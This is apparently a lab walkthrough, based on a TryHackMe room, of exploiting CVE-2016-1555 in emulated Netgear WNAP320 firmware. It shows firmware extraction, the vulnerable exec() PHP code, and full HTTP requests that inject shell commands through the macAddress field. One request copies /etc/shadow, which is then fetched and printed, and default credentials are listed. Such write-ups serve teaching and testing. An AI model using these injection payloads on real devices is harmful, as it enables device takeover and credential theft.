Exploiting CVE-2016-1555 in Netgear WNAP320 Firmware Version 2.0.3 for Remote Command Execution

16 minute read

  16 minute read

This post is derived by THM room, Intro to IoT Pentesting created by MrSeth6797. Shout-out to his great work!!

A beginner friendly walkthrough for internet of things (IoT) pentesting

A little theory

What is firmware?

A firmware is a small piece of software that makes hardware work and do what its manufacturer intended it to do. Without it the devices we use wouldn’t work.

How to obtain it?

These are the main ways of obtaining the firmware:

  1. Obtaining it from the vendor’s website
  2. Googling it
  3. Reversing the mobile application
  4. Sniffing the OTA (over the air) update mechanism
  5. Dumping it from the device

Where was this firmware used?

The firmware we are about to analyze was used by Netgear for a few of their AP (access point) products. Besides that, the vulnerability affected multiple firmwares. You can take a look at them here: CVE-2016-1555.

Unpacking the firmware

The firmware we are going to use is from NetGear and was used for Access Points (now it’s been superceded by another version). In case you want to download it locally on your machine this is the download link: http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip

If you access the Desktop folder, you should see the firmware zip archive. Let’s unzip the archive.

iot@iot:~/Desktop$ ls
firmware-analysis-toolkit  WNAP320 Firmware Version 2.0.3.zip
iot@iot:~/Desktop$ unzip WNAP320\ Firmware\ Version\ 2.0.3.zip 
Archive:  WNAP320 Firmware Version 2.0.3.zip
  inflating: ReleaseNotes_WNAP320_fw_2.0.3.HTML  
  inflating: WNAP320_V2.0.3_firmware.tar  
iot@iot:~/Desktop$ tar -xf WNAP320_V2.0.3_firmware.tar 
iot@iot:~/Desktop$ ls
firmware-analysis-toolkit           root_fs.md5        WNAP320 Firmware Version 2.0.3.zip
kernel.md5                          rootfs.squashfs    WNAP320_V2.0.3_firmware.tar
ReleaseNotes_WNAP320_fw_2.0.3.HTML  vmlinux.gz.uImage

The file that interests us the most is “rootfs.squashfs”. Let’s use binwalk to extract the filesystem as follows:

iot@iot:~/Desktop$ binwalk -e rootfs.squashfs 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Squashfs filesystem, big endian, lzma signature, version 3.1, size: 4433988 bytes, 1247 inodes, blocksize: 65536 bytes, created: 2011-06-23 10:46:19

iot@iot:~/Desktop$ ls
firmware-analysis-toolkit           root_fs.md5                 vmlinux.gz.uImage
kernel.md5                          rootfs.squashfs             WNAP320 Firmware Version 2.0.3.zip
ReleaseNotes_WNAP320_fw_2.0.3.HTML  _rootfs.squashfs.extracted  WNAP320_V2.0.3_firmware.tar

As you can see, it dropped another folder named “_rootfs.squashfs.extracted”.

Take a look inside the folder.

What it looks like?

It looks like linux filesystems.

If you go into /home/www you’ll find the web application that is used.

iot@iot:~/Desktop$ cd _rootfs.squashfs.extracted/

iot@iot:~/Desktop/_rootfs.squashfs.extracted$ ls
0.squashfs  squashfs-root

iot@iot:~/Desktop/_rootfs.squashfs.extracted$ cd squashfs-root/

iot@iot:~/Desktop/_rootfs.squashfs.extracted/squashfs-root$ ls
bin  dev  etc  home  lib  linuxrc  proc  root  sbin  tmp  usr  var

iot@iot:~/Desktop/_rootfs.squashfs.extracted/squashfs-root$ cd home/www && ls
background.html   common.php          include            packetCapture.php  thirdMenu.html
BackupConfig.php  config.php          index.php          recreate.php       thirdMenu.php
boardDataNA.php   data.php            killall.php        redirect.html      titleLogo.php
boardDataWW.php   downloadFile.php    login_button.html  redirect.php       tmpl
body.php          getBoardConfig.php  login_header.php   saveTable.php      UserGuide.html
button.html       getJsonData.php     login.php          siteSurvey.php
checkConfig.php   header.php          logout.html        support.link
checkSession.php  help                logout.php         templates
clearLog.php      images              monitorFile.cfg    test.php

Attacking the application

The next step would be analyzing each php file to try to find a vulnerability. I’ll save you that time, and we’ll take a look at “boardDataWW.php”. This file contains a Command Execution vulnerability. The piece of code that we are interested is this:

<?php
	$flag=false;
	$msg='';
	if (!empty($_REQUEST['writeData'])) {
		if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) {
			//echo "test ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'];
			//exec("wr_mfg_data ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'],$dummy,$res);
			exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
			if ($res==0) {
				conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n");
				conf_save();
				$msg = 'Update Success!';
				$flag = true;
			}
		}
		else
			$flag = true;
	}
?>

The vulnerable function is the exec() one. The exec() function executes an external program without displaying the information (basically it’s a blind command execution).

Time to emulate the system. For this task we’ll use FAT(firmware analysis toolkit). FAT is based on Firmadyne (FIRMADYNE is an automated and scalable system for performing emulation and dynamic analysis of Linux-based embedded firmware) with some changes. Firmadyne uses a PostgreSQL database to store information about the emulated images. However for the core functionality PostgreSQL is not really needed. Hence FAT doesn’t use it.

Elevate your shell and copy rootfs.squashfs to firmware-analysis-toolkit folder and change the owner of the file to root.

iot@iot:~/Desktop$ sudo -s
[sudo] password for iot: 

root@iot:~/Desktop# cp rootfs.squashfs firmware-analysis-toolkit/ ; cd firmware-analysis-toolkit/ ; chown root:root rootfs.squashfs ; ll
total 4388
drwxr-xr-x  6 root root    4096 aug  7 06:20 ./
drwxr-xr-x  4 iot  iot     4096 aug  7 06:04 ../
drwxr-xr-x  7 root root    4096 iun 16 13:51 binwalk/
-rw-r--r--  1 root root     107 iun 16 13:52 fat.config
-rwxr-xr-x  1 root root    5639 iun 16 13:50 fat.py*
drwxr-xr-x 11 root root    4096 iun 16 13:53 firmadyne/
drwxr-xr-x  8 root root    4096 iun 16 13:50 .git/
-rw-r--r--  1 root root    1069 iun 16 13:50 LICENSE
drwxr-xr-x  3 root root    4096 iun 16 13:52 qemu-builds/
-rw-r--r--  1 root root    5428 iun 16 13:50 README.md
-rwxr-xr-x  1 root root     734 iun 16 13:50 reset.py*
-rwx------  1 root root 4435968 aug  7 06:20 rootfs.squashfs*
-rwxr-xr-x  1 root root    1673 iun 16 13:50 setup.sh*

Now, let’s kick off fat (firmware analysis toolkit) and emulate the system.

root@iot:~/Desktop/firmware-analysis-toolkit# ./fat.py rootfs.squashfs 

                               __           _
                              / _|         | |
                             | |_    __ _  | |_
                             |  _|  / _` | | __|
                             | |   | (_| | | |_
                             |_|    \__,_|  \__|

                Welcome to the Firmware Analysis Toolkit - v0.3
    Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                  By Attify - https://attify.com  | @attifyme
    
[+] Firmware: rootfs.squashfs
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('brtrunk', '192.168.0.100')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
[+] Command line: /home/iot/Desktop/firmware-analysis-toolkit/firmadyne/scratch/1/run.sh
Creating TAP device tap2_0...
Starting firmware emulation... use Ctrl-a + x to exit
tryhackme123!
[    0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[    0.000000] 
[    0.000000] LINUX started...
[    0.000000] bootconsole [early0] enabled
[    0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[    0.000000] FPU revision is: 00739300
[    0.000000] Determined physical RAM map:
[    0.000000]  memory: 00001000 @ 00000000 (reserved)
[    0.000000]  memory: 000ef000 @ 00001000 (ROM data)
[    0.000000]  memory: 0061e000 @ 000f0000 (reserved)
[    0.000000]  memory: 0f8f1000 @ 0070e000 (usable)
[    0.000000] debug: ignoring loglevel setting.
[    0.000000] Wasting 57792 bytes for tracking 1806 unused pages
[    0.000000] Initrd not found or empty - disabling initrd
[    0.000000] Zone PFN ranges:
[    0.000000]   DMA      0x00000000 -> 0x00001000
[    0.000000]   Normal   0x00001000 -> 0x0000ffff
[    0.000000] Movable zone start PFN for each node
[    0.000000] early_node_map[1] active PFN ranges
[    0.000000]     0: 0x00000000 -> 0x0000ffff
[    0.000000] On node 0 totalpages: 65535
[    0.000000] free_area_init_node: node 0, pgdat 806aa3c0, node_mem_map 81000000
[    0.000000]   DMA zone: 32 pages used for memmap
[    0.000000]   DMA zone: 0 pages reserved
[    0.000000]   DMA zone: 4064 pages, LIFO batch:0
[    0.000000]   Normal zone: 480 pages used for memmap
[    0.000000]   Normal zone: 60959 pages, LIFO batch:15
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 65023
[    0.000000] Kernel command line: root=/dev/sda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
[    0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
[    0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
[    0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
[    0.000000] Primary instruction cache 2kB, VIPT, 2-way, linesize 16 bytes.
[    0.000000] Primary data cache 2kB, 2-way, VIPT, no aliases, linesize 16 bytes
[    0.000000] Writing ErrCtl register=00000000
[    0.000000] Readback ErrCtl register=00000000
[    0.000000] Memory: 252428k/254916k available (4260k kernel code, 2252k reserved, 1549k data, 220k init, 0k highmem)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:256
[    0.000000] CPU frequency 200.00 MHz
[    0.000000] Console: colour dummy device 80x25
[    0.004000] Calibrating delay loop... 890.88 BogoMIPS (lpj=1781760)
[    0.092000] Mount-cache hash table entries: 512
[    0.104000] NET: Registered protocol family 16
[    0.116000] bio: create slab <bio-0> at 0
[    0.120000] vgaarb: loaded
[    0.120000] SCSI subsystem initialized
[    0.124000] libata version 3.00 loaded.
[    0.124000] usbcore: registered new interface driver usbfs
[    0.128000] usbcore: registered new interface driver hub
[    0.132000] usbcore: registered new device driver usb
[    0.136000] pci 0000:00:00.0: reg 14 32bit mmio pref: [0x1000000-0x1ffffff]

<snip><snip>....<snip>

Starting Translator...      [nmbd_tr]

Starting Translator...      sh: cannot create /proc/sys/net/bridge/bridge-http-redirect-flush-mac: nonexistent directory
sh: cannot create /proc/sys/net/bridge/bridge-http-redirect-enabled: nonexistent directory
[http_redirect_tr]

Starting Translator...      [dhcp]

Starting Translator...      kill: cannot kill pid 634: No such process
[ntp]

Starting Translator...      [timezone]

Starting Translator...      [sc_radio]
kill: cannot kill pid 647: No such process
Error in opening the device.
: No such device

System initilization is ..  [DONE...]


Welcome to SDK.

Have a lot of fun...

netgear123456 login: [   24.576000] brtrunk: port 1(eth0) entering forwarding state
[   29.916000] eth0: no IPv6 routers present
[   29.952000] brtrunk: no IPv6 routers present


Welcome to SDK.

Have a lot of fun...

netgear123456 login: root	
Password: 
main-loop: WARNING: I/O thread spun for 1000 iterations

[root@netgear123456 /root]# id && hostname
uid=0(root) gid=0(root)
netgear123456

Take note to the IP that is outputted (usually is 192.168.0.100) and press enter to continue the emulation.

Once the emulation is done, create a port forward on your machine (the attacker machine) using SSH as follows:

fesal@kali:~# ssh -N iot@10.10.150.11 -L 8081:192.168.0.100:80
iot@10.10.150.11's password:

Now, if you access http://localhost:8081 you should be able to access the web application login page (it’s a NetGear AP).

The default credentials are admin:password.

Once logged in, change the url to http://localhost:8081/boardDataWW.php. In the MAC Address field add some junk data, for example I added 998877665544, submit it, intercept it using BurpSuite and forward it to the Repeater.

For the PoC I pinged the localhost:

POST /boardDataWW.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/boardDataWW.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
DNT: 1
Connection: close
Cookie: PHPSESSID=7162c54a62699b5dfb327461fe8f9710
Upgrade-Insecure-Requests: 1

macAddress=998877665544;ping+-c+10+127.0.0.1+#&reginfo=0&writeData=Submit

You’ll notice a delay, which means the application is vulnerable to Command Execution. Let’s copy the shadow file:

POST /boardDataWW.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/boardDataWW.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
DNT: 1
Connection: close
Cookie: PHPSESSID=7162c54a62699b5dfb327461fe8f9710
Upgrade-Insecure-Requests: 1

macAddress=998877665544;cp+/etc/shadow+.+#&reginfo=0&writeData=Submit

Let’s request the shadow file:

fesal@kali:~# curl http://localhost:8081/shadow          
root:$1$w3gB6MCu$F7n/OBgTalHP0u5O82RhV0:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
admin:$1$x1GxPahw$/XD/2CcBwLurY1./Du7x21:10933:0:99999:7:::

Congrats, you have successfully attacked your first IoT system.